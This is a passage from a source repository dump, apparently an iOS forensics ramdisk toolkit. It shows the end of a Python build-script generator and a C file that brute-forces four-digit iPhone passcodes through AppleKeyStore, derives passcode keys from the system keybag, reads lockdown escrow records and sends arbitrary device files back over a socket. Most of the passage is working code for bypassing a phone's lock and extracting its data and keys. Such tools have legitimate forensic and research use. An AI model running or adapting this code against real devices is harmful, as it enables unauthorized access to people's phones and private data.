162 | fi 163 | SDKVER=$SDKVER make -C ramdisk_tools 164 | 165 | %s 166 | 167 | echo "You can boot the ramdisk using the following command:" 168 | echo "%s" 169 | """ % (build_cmd, rs_cmd) 170 | 171 | devclass = manifest["BuildIdentities"][0]["Info"]["DeviceClass"] 172 | print "Saving ramdisk build script..." 173 | scriptname="build_ramdisk_%s.sh" % devclass 174 | f=open(scriptname, "wb") 175 | f.write(rdisk_script) 176 | f.close() 177 | print "Saved successfully!" 178 | 179 | print "Making build script executable..." 180 | os.chmod(scriptname, 0777) 181 | print "Build script chmod successful!" 182 | 183 | print "Run the script %s to (re)build the ramdisk."% scriptname 184 | 185 | 186 | if __name__ == "__main__": 187 | parser = OptionParser(usage="%prog [options] IPSW") 188 | parser.add_option("-f", "--fixnand", 189 | action="store_true", dest="fixnand", default=False, 190 | help="Apply NAND epoch fix kernel patches") 191 | 192 | (options, args) = parser.parse_args() 193 | if len(args) < 1: 194 | parser.print_help() 195 | else: 196 | main(args[0], options) 197 | -------------------------------------------------------------------------------- /ramdisk_tools/remote_functions.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "AppleKeyStore.h" 6 | #include "IOKit.h" 7 | #include "IOAESAccelerator.h" 8 | #include "registry.h" 9 | #include "util.h" 10 | #include "plist_server.h" 11 | #include "remote_functions.h" 12 | 13 | int bruteforceProgressCallback(void* ctx, int p) 14 | { 15 | return send_progress_message((int) ctx, p, 10000); 16 | } 17 | 18 | char* bruteforceWithAppleKeyStore(CFDataRef kbkeys, int (*callback)(void*,int), void* ctx) 19 | { 20 | uint64_t keybag_id = 0; 21 | int i; 22 | 23 | char* passcode = (char*) malloc(5); 24 | memset(passcode, 0, 5); 25 | 26 | AppleKeyStoreKeyBagInit(); 27 | AppleKeyStoreKeyBagCreateWithData(kbkeys, &keybag_id); 28 | //printf("keybag id=%x\n", (uint32_t) keybag_id); 29 | AppleKeyStoreKeyBagSetSystem(keybag_id); 30 | 31 | CFDataRef data = CFDataCreateWithBytesNoCopy(0, (const UInt8*) passcode, 4, NULL); 32 | 33 | io_connect_t conn = IOKit_getConnect("AppleKeyStore"); 34 | 35 | if (!AppleKeyStoreUnlockDevice(conn, data)) 36 | { 37 | return passcode; 38 | } 39 | 40 | for(i=0; i < 10000; i++) 41 | { 42 | sprintf(passcode, "%04d", i); 43 | if (callback != NULL && !(i % 100)) 44 | { 45 | if (callback(ctx, i) == -1) 46 | { 47 | printf("Bruteforce abort\n"); 48 | break; 49 | } 50 | } 51 | if (!AppleKeyStoreUnlockDevice(conn, data)) 52 | { 53 | return passcode; 54 | } 55 | } 56 | free(passcode); 57 | return NULL; 58 | } 59 | 60 | CFDictionaryRef load_system_keybag(int socket, CFDictionaryRef dict) 61 | { 62 | CFDictionaryRef kbdict = AppleKeyStore_loadKeyBag("/private/var/keybags","systembag"); 63 | 64 | if (kbdict == NULL) 65 | { 66 | mountDataPartition("/mnt2"); 67 | 68 | kbdict = AppleKeyStore_loadKeyBag("/mnt2/keybags","systembag"); 69 | if (kbdict == NULL) 70 | { 71 | printf("FAILed to load keybag\n"); 72 | return NULL; 73 | } 74 | } 75 | return kbdict; 76 | } 77 | 78 | CFDictionaryRef bruteforce_system_keybag(int socket, CFDictionaryRef dict) 79 | { 80 | uint8_t passcodeKey[32]; 81 | 82 | CFDataRef kbkeys = CFDictionaryGetValue(dict, CFSTR("KeyBagKeys")); 83 | if(kbkeys == NULL || CFGetTypeID(kbkeys) != CFDataGetTypeID()) 84 | return NULL; 85 | 86 | char* passcode = bruteforceWithAppleKeyStore(kbkeys, bruteforceProgressCallback, (void*) socket); 87 | 88 | if (passcode == NULL) 89 | return NULL; 90 | 91 | KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys); 92 | if (kb == NULL) 93 | { 94 | printf("FAIL: AppleKeyStore_parseBinaryKeyBag\n"); 95 | return NULL; 96 | } 97 | AppleKeyStore_getPasscodeKey(kb, passcode, strlen(passcode), passcodeKey); 98 | 99 | free(kb); 100 | CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); 101 | CFStringRef cfpasscode = CFStringCreateWithCString(kCFAllocatorDefault, passcode, kCFStringEncodingASCII); 102 | CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode); 103 | CFRelease(cfpasscode); 104 | 105 | addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32); 106 | return out; 107 | } 108 | 109 | CFDictionaryRef keybag_get_passcode_key(int socket, CFDictionaryRef dict) 110 | { 111 | uint8_t passcodeKey[32]; 112 | CFDataRef passcode_cfdata = NULL; 113 | 114 | CFDataRef kbkeys = CFDictionaryGetValue(dict, CFSTR("KeyBagKeys")); 115 | if(kbkeys == NULL || CFGetTypeID(kbkeys) != CFDataGetTypeID()) 116 | return NULL; 117 | 118 | KeyBag* kb = AppleKeyStore_parseBinaryKeyBag(kbkeys); 119 | if (kb == NULL) 120 | return NULL; 121 | 122 | CFTypeRef cfpasscode = CFDictionaryGetValue(dict, CFSTR("passcode")); 123 | 124 | if(cfpasscode == NULL) 125 | return NULL; 126 | if(CFGetTypeID(cfpasscode) == CFDataGetTypeID()) 127 | { 128 | passcode_cfdata = cfpasscode; 129 | } 130 | else if(CFGetTypeID(cfpasscode) == CFStringGetTypeID()) 131 | { 132 | passcode_cfdata = CFStringCreateExternalRepresentation(kCFAllocatorDefault, cfpasscode, kCFStringEncodingUTF8, 0); 133 | } 134 | else 135 | return NULL; 136 | 137 | AppleKeyStore_getPasscodeKey(kb, 138 | CFDataGetBytePtr(passcode_cfdata), 139 | CFDataGetLength(passcode_cfdata), 140 | passcodeKey); 141 | free(kb); 142 | 143 | if (passcode_cfdata != cfpasscode) 144 | CFRelease(passcode_cfdata); 145 | 146 | CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); 147 | CFDictionaryAddValue(out, CFSTR("passcode"), cfpasscode); 148 | addHexaString(out, CFSTR("passcodeKey"), passcodeKey, 32); 149 | return out; 150 | } 151 | 152 | CFDictionaryRef get_escrow_record(int socket, CFDictionaryRef dict) 153 | { 154 | CFStringRef hostid = CFDictionaryGetValue(dict, CFSTR("HostID")); 155 | if(hostid == NULL || CFGetTypeID(hostid) != CFStringGetTypeID()) 156 | return NULL; 157 | 158 | //TODO: check return values... 159 | CFStringRef path = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("/mnt2/root/Library/Lockdown/escrow_records/%@.plist"), hostid); 160 | //CFStringRef path = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("/private/var/root/Library/Lockdown/escrow_records/%@.plist"), hostid); 161 | 162 | CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, path, kCFURLPOSIXPathStyle, FALSE); 163 | CFReadStreamRef stream = CFReadStreamCreateWithFile(kCFAllocatorDefault, fileURL); 164 | CFReadStreamOpen(stream); 165 | CFPropertyListRef plist = CFPropertyListCreateWithStream(kCFAllocatorDefault, 166 | stream, 0, kCFPropertyListImmutable, NULL, NULL); 167 | 168 | CFRelease(fileURL); 169 | CFRelease(stream); 170 | CFRelease(path); 171 | return plist; 172 | } 173 | 174 | CFDictionaryRef download_file(int socket, CFDictionaryRef dict) 175 | { 176 | UInt8 buffer[8192]; 177 | CFIndex bytesRead; 178 | 179 | CFStringRef path = CFDictionaryGetValue(dict, CFSTR("Path")); 180 | if(path == NULL || CFGetTypeID(path) != CFStringGetTypeID()) 181 | return NULL; 182 | CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); 183 | 184 | CFURLRef fileURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault, path, kCFURLPOSIXPathStyle, FALSE); 185 | CFReadStreamRef stream = CFReadStreamCreateWithFile(kCFAllocatorDefault, fileURL); 186 | CFRelease(fileURL); 187 | if(!CFReadStreamOpen(stream)) 188 | { 189 | CFErrorRef error = CFReadStreamCopyError(stream); 190 | if (error != NULL) 191 | { 192 | CFStringRef errorDesc = CFErrorCopyDescription(error); 193 | CFDictionaryAddValue(out, CFSTR("Error"), errorDesc); 194 | CFRelease(errorDesc); 195 | CFRelease(error); 196 | } 197 | CFRelease(stream); 198 | return out; 199 | } 200 | CFMutableDataRef data = CFDataCreateMutable(kCFAllocatorDefault, 0); 201 | 202 | while(CFReadStreamHasBytesAvailable(stream)) 203 | { 204 | if((bytesRead = CFReadStreamRead(stream, buffer, 8192)) <= 0) 205 | break; 206 | CFDataAppendBytes(data, buffer, bytesRead); 207 | } 208 | CFReadStreamClose(stream); 209 | CFRelease(stream); 210 | 211 | CFDictionaryAddValue(out, CFSTR("Data"), data); 212 | CFRelease(data); 213 | 214 | return out; 215 | } --------------------------------------------------------------------------------